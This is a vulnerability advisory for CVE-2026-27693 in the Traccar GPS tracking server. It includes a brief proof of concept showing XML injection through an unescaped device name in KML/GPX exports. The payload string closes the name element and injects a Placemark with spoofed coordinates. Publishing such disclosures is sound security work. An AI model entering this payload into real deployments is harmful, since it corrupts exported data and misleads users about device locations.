CVE-2026-27693

# Proof of Concept: XML Injection via Device Name # 1. Attacker creates a device with a malicious name containing XML tags. # 2. Payload example to spoof location in KML: malicious_name = "RealDevice</name><Placemark><name>Spoofed Location</name><Point><coordinates>-122.0822035425683,37.42228990140251,0</coordinates></Point><Placemark><name>" # 3. When an admin exports the map (KML/GPX), the output XML will be corrupted: # <Document> # <name>RealDevice</name> # <Placemark>... (Injected content) ... # <name>RealDevice</name> <-- This might break the structure or render the fake point. # </Document>

In org.traccar:traccar versions starting at 6.11.1 before 6.13.0, the KML and GPX export functionality writes device names to XML output without proper escaping. An attacker with low privileges can create a device with a crafted name that injects XML content into exported files. If another user exports and opens the affected KML or GPX file, this can corrupt the file structure and spoof exported location data.
